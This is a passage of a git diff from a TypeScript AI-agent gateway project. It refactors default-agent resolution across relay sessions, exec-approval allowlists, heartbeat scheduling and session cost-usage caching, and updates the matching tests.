throw new Error("Realtime relay voice session could not be created"); } @@ -992,13 +1018,22 @@ export function createTalkRealtimeRelaySession( ); }, }); + const initialSessionKey = params.sessionKey?.trim() || undefined; const relay: RelaySession = { id: relaySessionId, connId: params.connId, context: params.context, bridge, harness, - sessionKey: params.sessionKey?.trim() || undefined, + sessionKey: initialSessionKey, + ...(initialSessionKey + ? { + agentId: resolveAgentIdFromSessionKey( + initialSessionKey, + resolveDefaultAgentId(params.cfg ?? params.context.getRuntimeConfig()), + ), + } + : {}), expiresAtMs, cleanupTimer: setTimeout(() => { const active = relaySessions.get(relaySessionId); @@ -1480,19 +1515,23 @@ export function registerTalkRealtimeRelayAgentRun(params: { callId?: string; }): void { const session = getRelaySession(params.relaySessionId, params.connId); + if (!session.sessionKey) { + bindRelaySessionKey(session, params.sessionKey); + } session.activeAgentRuns.set(params.runId, params.sessionKey); if (params.callId?.trim()) { session.activeAgentToolCalls.set(params.callId.trim(), params.runId); } - if (!session.sessionKey) { - session.sessionKey = params.sessionKey; - } if (!ensureRelayVoiceSession(session)) { throw new Error("Realtime relay voice session could not be created for agent consult"); } + const voiceSessionKey = session.sessionKey; + if (!voiceSessionKey) { + throw new Error("Realtime relay voice session has no pinned session key"); + } registerClientVoiceConsultRun({ - agentId: resolveAgentIdFromSessionKey(params.sessionKey), - sessionKey: params.sessionKey, + agentId: resolveRelayAgentId(session, voiceSessionKey), + sessionKey: voiceSessionKey, voiceSessionId: session.id, runId: params.runId, }); diff --git a/src/gateway/test-helpers.config-runtime.ts b/src/gateway/test-helpers.config-runtime.ts index 857aa197cdd7..f64f48bc2228 100644 --- a/src/gateway/test-helpers.config-runtime.ts +++ b/src/gateway/test-helpers.config-runtime.ts @@ -9,6 +9,7 @@ import type { ReadConfigFileSnapshotForWriteResult, ReadConfigFileSnapshotWithPluginMetadataResult, } from "../config/io.js"; +import { migratePersistedImplicitMainRoster } from "../config/legacy.roster.js"; import { applyPluginAutoEnable } from "../config/plugin-auto-enable.js"; import type { AgentBinding } from "../config/types.agents.js"; import type { ConfigFileSnapshot, OpenClawConfig } from "../config/types.js"; @@ -41,9 +42,17 @@ export function createGatewayConfigModuleMock(actual: GatewayConfigModule): Gate ...fileDefaults, ...testState.agentConfig, }; - const agents = testState.agentsConfig - ? { ...fileAgents, ...testState.agentsConfig, defaults } - : { ...fileAgents, defaults }; + const testAgents = testState.agentsConfig; + const retainedFileAgents = { ...fileAgents }; + if (testAgents && Object.hasOwn(testAgents, "list")) { + delete retainedFileAgents.entries; + } + if (testAgents && Object.hasOwn(testAgents, "entries")) { + delete retainedFileAgents.list; + } + const agents = testAgents + ? { ...retainedFileAgents, ...testAgents, defaults } + : { ...retainedFileAgents, defaults }; const fileBindings = Array.isArray(baseConfig.bindings) ? (baseConfig.bindings as AgentBinding[]) @@ -131,7 +140,7 @@ export function createGatewayConfigModuleMock(actual: GatewayConfigModule): Gate } const cron = Object.keys(fileCron).length > 0 ? fileCron : undefined; - return { + const composed = { ...baseConfig, agents, bindings: testState.bindingsConfig ?? fileBindings, @@ -141,6 +150,7 @@ export function createGatewayConfigModuleMock(actual: GatewayConfigModule): Gate hooks, cron, } as OpenClawConfig; + return migratePersistedImplicitMainRoster(composed).config as OpenClawConfig; }; const readConfigFileSnapshot = async (): Promise => { diff --git a/src/gateway/test-helpers.server.ts b/src/gateway/test-helpers.server.ts index 83fcc64913c9..d423f02563c9 100644 --- a/src/gateway/test-helpers.server.ts +++ b/src/gateway/test-helpers.server.ts @@ -43,7 +43,7 @@ import type { ChannelRouteRef } from "../plugin-sdk/channel-route.js"; import { clearGatewaySubagentRuntime } from "../plugins/runtime/gateway-bindings.test-fixtures.js"; import { resetGatewayWorkAdmission } from "../process/gateway-work-admission.js"; import { - DEFAULT_AGENT_ID, + LEGACY_IMPLICIT_AGENT_ID as DEFAULT_AGENT_ID, normalizeAgentId, normalizeMainKey, parseAgentSessionKey, diff --git a/src/gateway/tool-resolution.exclude.test.ts b/src/gateway/tool-resolution.exclude.test.ts index aa3134a24719..315e481fa05e 100644 --- a/src/gateway/tool-resolution.exclude.test.ts +++ b/src/gateway/tool-resolution.exclude.test.ts @@ -400,7 +400,10 @@ describe("resolveGatewayScopedTools excludeToolNames", () => { it("uses the explicit agent identity when a session key is an alias", () => { const cfg = { agents: { - list: [{ id: "worker", tools: { deny: ["exec"] } }], + list: [ + { id: "main", default: true }, + { id: "worker", tools: { deny: ["exec"] } }, + ], }, } as OpenClawConfig; const defaultAgent = resolveGatewayScopedTools({ diff --git a/src/infra/event-session-routing.test.ts b/src/infra/event-session-routing.test.ts index d061eda3d7d5..ac53ae46a4d6 100644 --- a/src/infra/event-session-routing.test.ts +++ b/src/infra/event-session-routing.test.ts @@ -11,6 +11,7 @@ import { describe("event session routing", () => { it("routes single-owner dmScope=main direct event keys to the agent main session", () => { const cfg: OpenClawConfig = { + agents: { entries: { main: { default: true } } }, session: { dmScope: "main" }, channels: { telegram: { @@ -45,6 +46,7 @@ describe("event session routing", () => { it("does not route multi-owner or wildcard direct sessions to main", () => { const baseCfg: OpenClawConfig = { + agents: { entries: { main: { default: true } } }, session: { dmScope: "main" }, channels: { telegram: { allowFrom: ["123", "456"] }, @@ -70,6 +72,7 @@ describe("event session routing", () => { it("preserves route-binding direct session overrides under global dmScope=main", () => { const cfg: OpenClawConfig = { + agents: { entries: { main: { default: true } } }, session: { dmScope: "main" }, channels: { telegram: { diff --git a/src/infra/exec-approvals-allow-always.ts b/src/infra/exec-approvals-allow-always.ts index 475f5630cf3f..308984af6034 100644 --- a/src/infra/exec-approvals-allow-always.ts +++ b/src/infra/exec-approvals-allow-always.ts @@ -1,4 +1,3 @@ -import { DEFAULT_AGENT_ID } from "../routing/session-key.js"; import { sha256HexPrefix } from "./crypto-digest.js"; // Owns durable approval matching and allow-always persistence. import { canonicalizeExecApprovalPolicyRules } from "./exec-approval-policy-snapshot.js"; @@ -199,7 +198,10 @@ function applyAllowlistEntryUpdate(params: { source?: ExecAllowlistEntry["source"]; }; }): ExecApprovalsFile | null { - const target = params.agentId ?? DEFAULT_AGENT_ID; + if (!params.agentId) { + throw new Error("Exec allowlist update requires an explicit agent id."); + } + const target = params.agentId; const agents = params.file.agents ?? {}; const existing = agents[target] ?? {}; const allowlist = Array.isArray(existing.allowlist) ? existing.allowlist : []; diff --git a/src/infra/exec-approvals-authorization.ts b/src/infra/exec-approvals-authorization.ts index a8c1853bb525..c99de9b9b96d 100644 --- a/src/infra/exec-approvals-authorization.ts +++ b/src/infra/exec-approvals-authorization.ts @@ -1,5 +1,4 @@ // Revalidates and commits exec authority against the current policy. -import { DEFAULT_AGENT_ID } from "../routing/session-key.js"; import type { ExecApprovalPolicySnapshot } from "./exec-approval-policy-snapshot.js"; import { applyAllowAlwaysDecision, @@ -204,7 +203,10 @@ function applyRecordedAllowlistMetadata(params: { if (keys.size === 0) { return null; } - const target = params.agentId ?? DEFAULT_AGENT_ID; + if (!params.agentId) { + throw new Error("Exec allowlist metadata update requires an explicit agent id."); + } + const target = params.agentId; const agents = params.file.agents ?? {}; let changed = false; const nextAgents = { ...agents }; diff --git a/src/infra/exec-approvals-config.test.ts b/src/infra/exec-approvals-config.test.ts index 4f8033d1acc6..2dfe8dcd8558 100644 --- a/src/infra/exec-approvals-config.test.ts +++ b/src/infra/exec-approvals-config.test.ts @@ -146,7 +146,7 @@ describe("exec approvals default agent migration", () => { default: { allowlist: [{ pattern: "/bin/legacy" }] }, }, }; - const resolved = resolveExecApprovalsFromFile({ file }); + const resolved = resolveExecApprovalsFromFile({ file, agentId: "main" }); expect(resolved.allowlist.map((entry) => entry.pattern)).toEqual(["/bin/legacy"]); expect(resolved.file.agents?.default).toBeUndefined(); expect(resolved.file.agents?.main?.allowlist?.[0]?.pattern).toBe("/bin/legacy"); @@ -160,7 +160,7 @@ describe("exec approvals default agent migration", () => { default: { ask: "off", allowlist: [{ pattern: "/bin/legacy" }] }, }, }; - const resolved = resolveExecApprovalsFromFile({ file }); + const resolved = resolveExecApprovalsFromFile({ file, agentId: "main" }); expect(resolved.agent.ask).toBe("always"); expect(resolved.allowlist.map((entry) => entry.pattern)).toEqual(["/bin/main", "/bin/legacy"]); expect(resolved.file.agents?.default).toBeUndefined(); @@ -429,7 +429,7 @@ describe("normalizeExecApprovals strips invalid security/ask enum values (#59006 "*": { security: "none", ask: "off" }, }, } as unknown as ExecApprovalsFile; - const resolved = resolveExecApprovalsFromFile({ file }); + const resolved = resolveExecApprovalsFromFile({ file, agentId: "main" }); // Invalid "none" in defaults is stripped, so fallback to DEFAULT_SECURITY ("full") expect(resolved.defaults.security).toBe("full"); // Invalid "never" in defaults is stripped, so fallback to DEFAULT_ASK ("off") diff --git a/src/infra/exec-approvals-effective.ts b/src/infra/exec-approvals-effective.ts index bc9f4c2a85d2..793e23248f7f 100644 --- a/src/infra/exec-approvals-effective.ts +++ b/src/infra/exec-approvals-effective.ts @@ -1,7 +1,7 @@ // Resolves effective exec approval policy from config and policy files. import { sortUniqueStrings } from "@openclaw/normalization-core/string-normalization"; +import { listAgentEntries, resolveDefaultAgentId } from "../agents/agent-scope-config.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; -import { DEFAULT_AGENT_ID } from "../routing/session-key.js"; import { DEFAULT_EXEC_APPROVAL_ASK_FALLBACK, resolveExecApprovalAllowedDecisions, @@ -302,9 +302,11 @@ export function collectExecPolicyScopeSnapshots(params: { hostDefaults?: ExecPolicyHostDefaults; hostDefaultSource?: string; }): ExecPolicyScopeSnapshot[] { + const defaultAgentId = resolveDefaultAgentId(params.cfg); const snapshots = [ resolveExecPolicyScopeSnapshot({ approvals: params.approvals, + agentId: defaultAgentId, scopeExecConfig: params.cfg.tools?.exec, configPath: "tools.exec", hostPath: params.hostPath, @@ -314,17 +316,18 @@ export function collectExecPolicyScopeSnapshots(params: { }), ]; const globalExecConfig = params.cfg.tools?.exec; + const configuredAgents = listAgentEntries(params.cfg); const configAgentIds = new Set( - (params.cfg.agents?.list ?? []) - .filter((agent) => agent.id !== DEFAULT_AGENT_ID || agent.tools?.exec !== undefined) + configuredAgents + .filter((agent) => agent.id !== defaultAgentId || agent.tools?.exec !== undefined) .map((agent) => agent.id), ); const approvalAgentIds = Object.keys(params.approvals.agents ?? {}).filter( - (agentId) => agentId !== "*" && agentId !== "default" && agentId !== DEFAULT_AGENT_ID, + (agentId) => agentId !== "*" && agentId !== "default" && agentId !== defaultAgentId, ); const agentIds = sortUniqueStrings([...configAgentIds, ...approvalAgentIds]); for (const agentId of agentIds) { - const agentConfig = params.cfg.agents?.list?.find((agent) => agent.id === agentId); + const agentConfig = configuredAgents.find((agent) => agent.id === agentId); snapshots.push( resolveExecPolicyScopeSnapshot({ approvals: params.approvals, diff --git a/src/infra/exec-approvals-policy.test.ts b/src/infra/exec-approvals-policy.test.ts index 1c9c72931b18..0cdcdedc4678 100644 --- a/src/infra/exec-approvals-policy.test.ts +++ b/src/infra/exec-approvals-policy.test.ts @@ -2,7 +2,7 @@ import path from "node:path"; import { beforeEach, describe, expect, it, vi } from "vitest"; import type { OpenClawConfig } from "../config/config.js"; -import { DEFAULT_AGENT_ID } from "../routing/session-key.js"; +import { LEGACY_IMPLICIT_AGENT_ID as DEFAULT_AGENT_ID } from "../routing/session-key.js"; import { makeMockCommandResolution, makeMockExecutableResolution, @@ -829,7 +829,7 @@ describe("exec approvals policy helpers", () => { }, }, agents: { - list: [{ id: "runner" }], + list: [{ id: "runner", default: true }], }, } satisfies OpenClawConfig, approvals: { @@ -845,18 +845,14 @@ describe("exec approvals policy helpers", () => { }, }); - expect(snapshots.map((snapshot) => snapshot.scopeLabel)).toEqual([ - "tools.exec", - "agent:batch", - "agent:runner", - ]); + expect(snapshots.map((snapshot) => snapshot.scopeLabel)).toEqual(["tools.exec", "agent:batch"]); expectFields(snapshots[1]?.ask, { requested: "off", requestedSource: "tools.exec.ask", host: "always", effective: "always", }); - expectFields(snapshots[2]?.security, { + expectFields(snapshots[0]?.security, { requested: "full", requestedSource: "tools.exec.security", host: "allowlist", @@ -873,6 +869,7 @@ describe("exec approvals policy helpers", () => { ask: "off", }, }, + agents: { list: [{ id: DEFAULT_AGENT_ID, default: true }] }, } satisfies OpenClawConfig, approvals: { version: 1, @@ -909,6 +906,7 @@ describe("exec approvals policy helpers", () => { list: [ { id: DEFAULT_AGENT_ID, + default: true, tools: { exec: { ask: "always", @@ -929,4 +927,27 @@ describe("exec approvals policy helpers", () => { requestedSource: "agents.list.main.tools.exec.ask", }); }); + + it("includes keyed agents with exec overrides", () => { + const snapshots = collectExecPolicyScopeSnapshots({ + cfg: { + agents: { + entries: { + main: { default: true }, + runner: { tools: { exec: { ask: "always" } } }, + }, + }, + } satisfies OpenClawConfig, + approvals: { version: 1 }, + }); + + expect(snapshots.map((snapshot) => snapshot.scopeLabel)).toEqual([ + "tools.exec", + "agent:runner", + ]); + expectFields(snapshots[1]?.ask, { + requested: "always", + requestedSource: "agents.list.runner.tools.exec.ask", + }); + }); }); diff --git a/src/infra/exec-approvals-resolver.ts b/src/infra/exec-approvals-resolver.ts index ab5c9bc9b044..847be0bc7cb5 100644 --- a/src/infra/exec-approvals-resolver.ts +++ b/src/infra/exec-approvals-resolver.ts @@ -1,5 +1,4 @@ // Resolves normalized exec approval policy without persistence side effects. -import { DEFAULT_AGENT_ID } from "../routing/session-key.js"; import { DEFAULT_ASK, DEFAULT_AUTO_ALLOW_SKILLS, @@ -159,7 +158,7 @@ export function resolveExecApprovalsFromFilePrepared(params: { const rawFile = params.rawFile; const file = params.file; const defaults = file.defaults ?? {}; - const agentKey = params.agentId ?? DEFAULT_AGENT_ID; + const agentKey = params.agentId ?? "default"; const agent = file.agents?.[agentKey] ?? {}; const wildcard = file.agents?.["*"] ?? {}; const rawAgent = rawFile.agents?.[agentKey] ?? {}; diff --git a/src/infra/heartbeat-runner.ts b/src/infra/heartbeat-runner.ts index 0ead2ed4090d..7fabb11c0955 100644 --- a/src/infra/heartbeat-runner.ts +++ b/src/infra/heartbeat-runner.ts @@ -10,7 +10,12 @@ import { hasOutboundReplyContent, resolveSendableOutboundReplyParts, } from "openclaw/plugin-sdk/reply-payload"; -import { listAgentIds, resolveAgentConfig, resolveDefaultAgentId } from "../agents/agent-scope.js"; +import { + listAgentIds, + listAgentEntries, + resolveAgentConfig, + resolveDefaultAgentId, +} from "../agents/agent-scope.js"; import { appendCronStyleCurrentTimeLine } from "../agents/current-time.js"; import { resolveEmbeddedSessionLane } from "../agents/embedded-agent-runner/lanes.js"; import { listActiveEmbeddedRunSessionKeys } from "../agents/embedded-agent-runner/run-state.js"; @@ -337,7 +342,7 @@ export function resolveHeartbeatSchedulerSeed( } function hasExplicitHeartbeatAgents(cfg: OpenClawConfig) { - const list = cfg.agents?.list ?? []; + const list = listAgentEntries(cfg); return list.some((entry) => Boolean(entry?.heartbeat)); } @@ -385,7 +390,7 @@ function resolveHeartbeatForWake(params: { } export function resolveHeartbeatAgents(cfg: OpenClawConfig): HeartbeatAgent[] { - const list = cfg.agents?.list ?? []; + const list = listAgentEntries(cfg); if (hasExplicitHeartbeatAgents(cfg)) { return list .filter((entry) => entry?.heartbeat) diff --git a/src/infra/heartbeat-summary.ts b/src/infra/heartbeat-summary.ts index cb4e6d26c185..063b9e6fc76d 100644 --- a/src/infra/heartbeat-summary.ts +++ b/src/infra/heartbeat-summary.ts @@ -1,6 +1,10 @@ // Summarizes heartbeat config for CLI and UI display. import { normalizeOptionalString } from "@openclaw/normalization-core/string-coerce"; -import { resolveAgentConfig, resolveDefaultAgentId } from "../agents/agent-scope.js"; +import { + listAgentEntries, + resolveAgentConfig, + resolveDefaultAgentId, +} from "../agents/agent-scope.js"; import { DEFAULT_HEARTBEAT_ACK_MAX_CHARS, DEFAULT_HEARTBEAT_EVERY, @@ -29,14 +33,14 @@ export type HeartbeatSummary = { const DEFAULT_HEARTBEAT_TARGET = "none"; function hasExplicitHeartbeatAgents(cfg: OpenClawConfig) { - const list = cfg.agents?.list ?? []; + const list = listAgentEntries(cfg); return list.some((entry) => Boolean(entry?.heartbeat)); } /** Return whether heartbeat scheduling applies to an agent. */ export function isHeartbeatEnabledForAgent(cfg: OpenClawConfig, agentId?: string): boolean { const resolvedAgentId = normalizeAgentId(agentId ?? resolveDefaultAgentId(cfg)); - const list = cfg.agents?.list ?? []; + const list = listAgentEntries(cfg); const hasExplicit = hasExplicitHeartbeatAgents(cfg); if (hasExplicit) { return list.some( diff --git a/src/infra/outbound/agent-delivery.test.ts b/src/infra/outbound/agent-delivery.test.ts index cc334ff4ebb4..ab6edba093f3 100644 --- a/src/infra/outbound/agent-delivery.test.ts +++ b/src/infra/outbound/agent-delivery.test.ts @@ -408,6 +408,7 @@ describe("agent delivery helpers", () => { const result = await resolveAgentExplicitRecipientSession({ cfg: { + agents: { entries: { ops: { default: true } } }, session: { dmScope: "main" }, bindings: [ { diff --git a/src/infra/outbound/outbound-policy.ts b/src/infra/outbound/outbound-policy.ts index 289d1d5c46ac..bb2618178222 100644 --- a/src/infra/outbound/outbound-policy.ts +++ b/src/infra/outbound/outbound-policy.ts @@ -1,6 +1,7 @@ // Outbound policy enforces message-tool allowlists and cross-context delivery // markers/decorations before channel dispatch. import { normalizeUniqueStringEntries } from "@openclaw/normalization-core/string-normalization"; +import { resolveAgentConfig } from "../../agents/agent-scope-config.js"; import { getChannelPlugin } from "../../channels/plugins/index.js"; import type { ChannelId, @@ -128,8 +129,7 @@ function resolveAgentMessageToolsConfig( if (!trimmedAgentId) { return globalConfig; } - const agentConfig = cfg.agents?.list?.find((entry) => entry.id === trimmedAgentId)?.tools - ?.message; + const agentConfig = resolveAgentConfig(cfg, trimmedAgentId)?.tools?.message; if (!agentConfig) { return globalConfig; } diff --git a/src/infra/session-cost-usage.stream-errors.test.ts b/src/infra/session-cost-usage.stream-errors.test.ts index 659b6c01c68b..355e4e76d493 100644 --- a/src/infra/session-cost-usage.stream-errors.test.ts +++ b/src/infra/session-cost-usage.stream-errors.test.ts @@ -45,7 +45,7 @@ describe("session cost usage stream errors", () => { return stream as unknown as nodeFs.ReadStream; }); - const logs = await loadSessionLogs({ sessionFile }); + const logs = await loadSessionLogs({ agentId: "main", sessionFile }); expect(logs).toEqual([]); }); @@ -73,6 +73,7 @@ describe("session cost usage stream errors", () => { }; await loadCostUsageSummaryFromCache({ ...range, + agentId: "main", refreshMode: "sync-when-empty", }); const rollupsBefore = readSessionCostUsageRollupRows(); @@ -88,11 +89,19 @@ describe("session cost usage stream errors", () => { return stream as unknown as nodeFs.ReadStream; }); - await loadCostUsageSummaryFromCache(range); - let summary = await loadCostUsageSummaryFromCache({ ...range, requestRefresh: false }); + await loadCostUsageSummaryFromCache({ ...range, agentId: "main" }); + let summary = await loadCostUsageSummaryFromCache({ + ...range, + agentId: "main", + requestRefresh: false, + }); await vi.waitFor( async () => { - summary = await loadCostUsageSummaryFromCache({ ...range, requestRefresh: false }); + summary = await loadCostUsageSummaryFromCache({ + ...range, + agentId: "main", + requestRefresh: false, + }); expect(summary.cacheStatus?.status).toBe("partial"); }, { interval: 5, timeout: 1_000 }, diff --git a/src/infra/session-cost-usage.test.ts b/src/infra/session-cost-usage.test.ts index 0b1905767cb9..b8efd3d3b074 100644 --- a/src/infra/session-cost-usage.test.ts +++ b/src/infra/session-cost-usage.test.ts @@ -24,16 +24,52 @@ import { writeSessionCostUsageRollup, } from "./session-cost-usage-cache.sqlite.js"; import { - discoverAllSessions, - loadCostUsageSummary, - loadCostUsageSummaryFromCache, - loadSessionCostSummary, - loadSessionCostSummariesFromCache, - loadSessionLogs, - loadSessionUsageTimeSeries, - resolveExistingUsageSessionFile, + discoverAllSessions as discoverAllSessionsForAgent, + loadCostUsageSummary as loadCostUsageSummaryForAgent, + loadCostUsageSummaryFromCache as loadCostUsageSummaryFromCacheForAgent, + loadSessionCostSummary as loadSessionCostSummaryForAgent, + loadSessionCostSummariesFromCache as loadSessionCostSummariesFromCacheForAgent, + loadSessionLogs as loadSessionLogsForAgent, + loadSessionUsageTimeSeries as loadSessionUsageTimeSeriesForAgent, + resolveExistingUsageSessionFile as resolveExistingUsageSessionFileForAgent, } from "./session-cost-usage.js"; +type WithOptionalAgentId = T extends (params: infer P) => unknown + ? Omit & { agentId?: string } + : never; + +const withMainAgent = (params: T): T & { agentId: string } => ({ + ...params, + agentId: + typeof (params as { agentId?: unknown }).agentId === "string" + ? (params as { agentId: string }).agentId + : "main", +}); + +const discoverAllSessions = ( + params: WithOptionalAgentId = {}, +) => discoverAllSessionsForAgent(withMainAgent(params)); +const loadCostUsageSummary = ( + params: WithOptionalAgentId = {}, +) => loadCostUsageSummaryForAgent(withMainAgent(params)); +const loadCostUsageSummaryFromCache = ( + params: WithOptionalAgentId, +) => loadCostUsageSummaryFromCacheForAgent(withMainAgent(params)); +const loadSessionCostSummary = ( + params: WithOptionalAgentId, +) => loadSessionCostSummaryForAgent(withMainAgent(params)); +const loadSessionCostSummariesFromCache = ( + params: WithOptionalAgentId, +) => loadSessionCostSummariesFromCacheForAgent(withMainAgent(params)); +const loadSessionLogs = (params: WithOptionalAgentId) => + loadSessionLogsForAgent(withMainAgent(params)); +const loadSessionUsageTimeSeries = ( + params: WithOptionalAgentId, +) => loadSessionUsageTimeSeriesForAgent(withMainAgent(params)); +const resolveExistingUsageSessionFile = ( + params: WithOptionalAgentId, +) => resolveExistingUsageSessionFileForAgent(withMainAgent(params)); + function waitForFast( callback: () => T | Promise, options: { timeout?: number; interval?: number } = {}, diff --git a/src/infra/session-cost-usage.ts b/src/infra/session-cost-usage.ts index 66e21c6cca5c..d4a217cc2b0c 100644 --- a/src/infra/session-cost-usage.ts +++ b/src/infra/session-cost-usage.ts @@ -117,7 +117,7 @@ const USAGE_COST_REFRESH_RETRY_MAX_MS = 5_000; const logger = createSubsystemLogger("usage-cost-cache"); type UsageCostRefreshState = { - agentId?: string; + agentId: string; config?: OpenClawConfig; databasePath: string; fullRefreshRequested: boolean; @@ -132,7 +132,7 @@ type UsageCostRefreshResult = "refreshed" | "busy"; const usageCostRefreshes = new Map(); -function resolveUsageCostCacheDatabasePath(agentId?: string): string { +function resolveUsageCostCacheDatabasePath(agentId: string): string { return resolveOpenClawAgentSqlitePath({ agentId: normalizeAgentId(agentId) }); } @@ -183,24 +183,21 @@ type UsageCostTranscriptFile = { maxSeq?: number; }; -function resolveUsageCostAgentDir( - config: OpenClawConfig | undefined, - agentId: string | undefined, -): string | undefined { - return agentId === undefined ? undefined : resolveAgentDir(config ?? {}, agentId); +function resolveUsageCostAgentDir(config: OpenClawConfig | undefined, agentId: string): string { + return resolveAgentDir(config ?? {}, agentId); } function resolveUsageCostPricingFingerprint(config?: OpenClawConfig, agentDir?: string): string { return resolveModelCostConfigFingerprint(config, agentDir); } -function resolveUsageCostSessionStorePath(params?: { - agentId?: string; +function resolveUsageCostSessionStorePath(params: { + agentId: string; sessionsDir?: string; }): string { - return params?.sessionsDir + return params.sessionsDir ? path.join(params.sessionsDir, "sessions.json") - : resolveDefaultSessionStorePath(params?.agentId); + : resolveDefaultSessionStorePath(params.agentId); } function normalizeUsageCostRollup( @@ -226,7 +223,7 @@ function normalizeUsageCostRollup( } function readUsageCostRollups( - agentId: string | undefined, + agentId: string, pricingFingerprint: string, databasePath?: string, ): Map { @@ -245,7 +242,7 @@ function readUsageCostRollups( } async function listUsageCountedTranscriptFileStats( - agentId?: string, + agentId: string, params?: { minMtimeMs?: number; sessionsDir?: string }, ): Promise { const sessionsDir = params?.sessionsDir ?? resolveSessionTranscriptsDirForAgent(agentId); @@ -317,7 +314,7 @@ async function listUsageCountedTranscriptFileStats( } function listUsageCountedSqliteTranscriptStats( - agentId?: string, + agentId: string, params?: { minMtimeMs?: number; sessionsDir?: string }, ): UsageCostTranscriptFile[] { const storePath = resolveUsageCostSessionStorePath({ @@ -362,14 +359,14 @@ function formatCanonicalUsageCostSqliteMarker(marker: SqliteSessionFileMarker): } async function listUsageCountedTranscriptFiles( - agentId?: string, + agentId: string, params?: { sessionsDir?: string }, ): Promise { return await listUsageCountedTranscriptStats(agentId, params); } async function listUsageCountedTranscriptStats( - agentId?: string, + agentId: string, params?: { minMtimeMs?: number; sessionsDir?: string }, ): Promise { const fileBacked = await listUsageCountedTranscriptFileStats(agentId, params); @@ -1154,7 +1151,7 @@ export function resolveExistingUsageSessionFile(params: { sessionId?: string; sessionEntry?: SessionEntry; sessionFile?: string; - agentId?: string; + agentId: string; }): string | undefined { const sessionId = params.sessionId?.trim(); const entryMarker = parseSqliteSessionFileMarker(params.sessionEntry?.sessionFile); @@ -1222,39 +1219,39 @@ export function resolveExistingUsageSessionFile(params: { } } -export async function loadCostUsageSummary(params?: { +export async function loadCostUsageSummary(params: { startMs?: number; endMs?: number; dayBucket?: UsageDailyBucket; config?: OpenClawConfig; - agentId?: string; + agentId: string; }): Promise { const now = Date.now(); const defaultStart = new Date(now); defaultStart.setDate(defaultStart.getDate() - 29); - const startMs = params?.startMs ?? defaultStart.getTime(); - const endMs = params?.endMs ?? now; - const agentDir = resolveUsageCostAgentDir(params?.config, params?.agentId); - const databasePath = resolveUsageCostCacheDatabasePath(params?.agentId); + const startMs = params.startMs ?? defaultStart.getTime(); + const endMs = params.endMs ?? now; + const agentDir = resolveUsageCostAgentDir(params.config, params.agentId); + const databasePath = resolveUsageCostCacheDatabasePath(params.agentId); const result = await refreshCostUsageCacheForAgent({ - config: params?.config, - agentId: params?.agentId, + config: params.config, + agentId: params.agentId, agentDir, databasePath, }); - const pricingFingerprint = resolveUsageCostPricingFingerprint(params?.config, agentDir); - const rollups = readUsageCostRollups(params?.agentId, pricingFingerprint, databasePath); - const files = await listUsageCountedTranscriptFiles(params?.agentId); + const pricingFingerprint = resolveUsageCostPricingFingerprint(params.config, agentDir); + const rollups = readUsageCostRollups(params.agentId, pricingFingerprint, databasePath); + const files = await listUsageCountedTranscriptFiles(params.agentId); return buildCostUsageSummaryFromRollups({ rollups, files, startMs, endMs, - dayBucket: params?.dayBucket, + dayBucket: params.dayBucket, refreshing: result === "busy" || usageCostRefreshes.has(databasePath) || - isSessionCostUsageRefreshRunning(params?.agentId, databasePath), + isSessionCostUsageRefreshRunning(params.agentId, databasePath), }); } @@ -1530,9 +1527,9 @@ async function scanUsageFileForRollup(params: { : await scanJsonlUsageRollup(params); } -async function refreshCostUsageCacheForAgent(params?: { +async function refreshCostUsageCacheForAgent(params: { config?: OpenClawConfig; - agentId?: string; + agentId: string; agentDir?: string; databasePath?: string; maxFiles?: number; @@ -1540,23 +1537,23 @@ async function refreshCostUsageCacheForAgent(params?: { sessionFiles?: string[]; startMs?: number; }): Promise { - const databasePath = params?.databasePath ?? resolveUsageCostCacheDatabasePath(params?.agentId); - const lock = acquireSessionCostUsageRefreshLock(params?.agentId, databasePath); + const databasePath = params.databasePath ?? resolveUsageCostCacheDatabasePath(params.agentId); + const lock = acquireSessionCostUsageRefreshLock(params.agentId, databasePath); if (!lock.acquired) { return "busy"; } try { - const agentDir = params?.agentDir ?? resolveUsageCostAgentDir(params?.config, params?.agentId); - const pricingFingerprint = resolveUsageCostPricingFingerprint(params?.config, agentDir); - const rows = readSessionCostUsageRollupRows(params?.agentId, databasePath); + const agentDir = params.agentDir ?? resolveUsageCostAgentDir(params.config, params.agentId); + const pricingFingerprint = resolveUsageCostPricingFingerprint(params.config, agentDir); + const rows = readSessionCostUsageRollupRows(params.agentId, databasePath); const rawValues = new Map(rows.map((row) => [row.key, row.valueJson])); - const rollups = readUsageCostRollups(params?.agentId, pricingFingerprint, databasePath); + const rollups = readUsageCostRollups(params.agentId, pricingFingerprint, databasePath); const discoveredFiles = await listUsageCountedTranscriptFiles( - params?.agentId, - params?.sessionsDir ? { sessionsDir: params.sessionsDir } : undefined, + params.agentId, + params.sessionsDir ? { sessionsDir: params.sessionsDir } : undefined, ); const requestedFiles: UsageCostTranscriptFile[] = []; - for (const requested of params?.sessionFiles ?? []) { + for (const requested of params.sessionFiles ?? []) { const resolved = await resolveUsageCostTranscriptFile(requested); if (resolved) { requestedFiles.push(resolved); @@ -1568,7 +1565,7 @@ async function refreshCostUsageCacheForAgent(params?: { } const files = [...filesByPath.values()]; deleteSessionCostUsageRollupsExcept({ - agentId: params?.agentId, + agentId: params.agentId, databasePath, liveKeys: new Set(files.map((file) => file.filePath)), }); @@ -1580,17 +1577,17 @@ async function refreshCostUsageCacheForAgent(params?: { const refreshFiles = requestedPaths.size > 0 ? files.filter((file) => requestedPaths.has(file.filePath)) - : params?.startMs === undefined + : params.startMs === undefined ? files : files.filter((file) => file.mtimeMs >= params.startMs!); const maxFiles = - params?.maxFiles !== undefined && Number.isFinite(params.maxFiles) && params.maxFiles > 0 + params.maxFiles !== undefined && Number.isFinite(params.maxFiles) && params.maxFiles > 0 ? Math.floor(params.maxFiles) : undefined; const staleFiles = getUsageCostStaleRollupFiles({ rollups, files: refreshFiles }) .toSorted((a, b) => a.size - b.size || a.filePath.localeCompare(b.filePath)) .slice(0, maxFiles); - const resolveCost = createUsageCostResolver({ config: params?.config, agentDir }); + const resolveCost = createUsageCostResolver({ config: params.config, agentDir }); for (const file of staleFiles) { const previous = rollups.get(file.filePath); @@ -1602,7 +1599,7 @@ async function refreshCostUsageCacheForAgent(params?: { }); const valueJson = JSON.stringify(entry); const written = writeSessionCostUsageRollup({ - agentId: params?.agentId, + agentId: params.agentId, databasePath, rollupId: file.filePath, previousValueJson: rawValues.get(file.filePath) ?? null, @@ -1623,9 +1620,9 @@ async function refreshCostUsageCacheForAgent(params?: { const usageCostRefreshRuntime = { refreshCostUsageCacheForAgent }; -async function refreshCostUsageCache(params?: { +async function refreshCostUsageCache(params: { 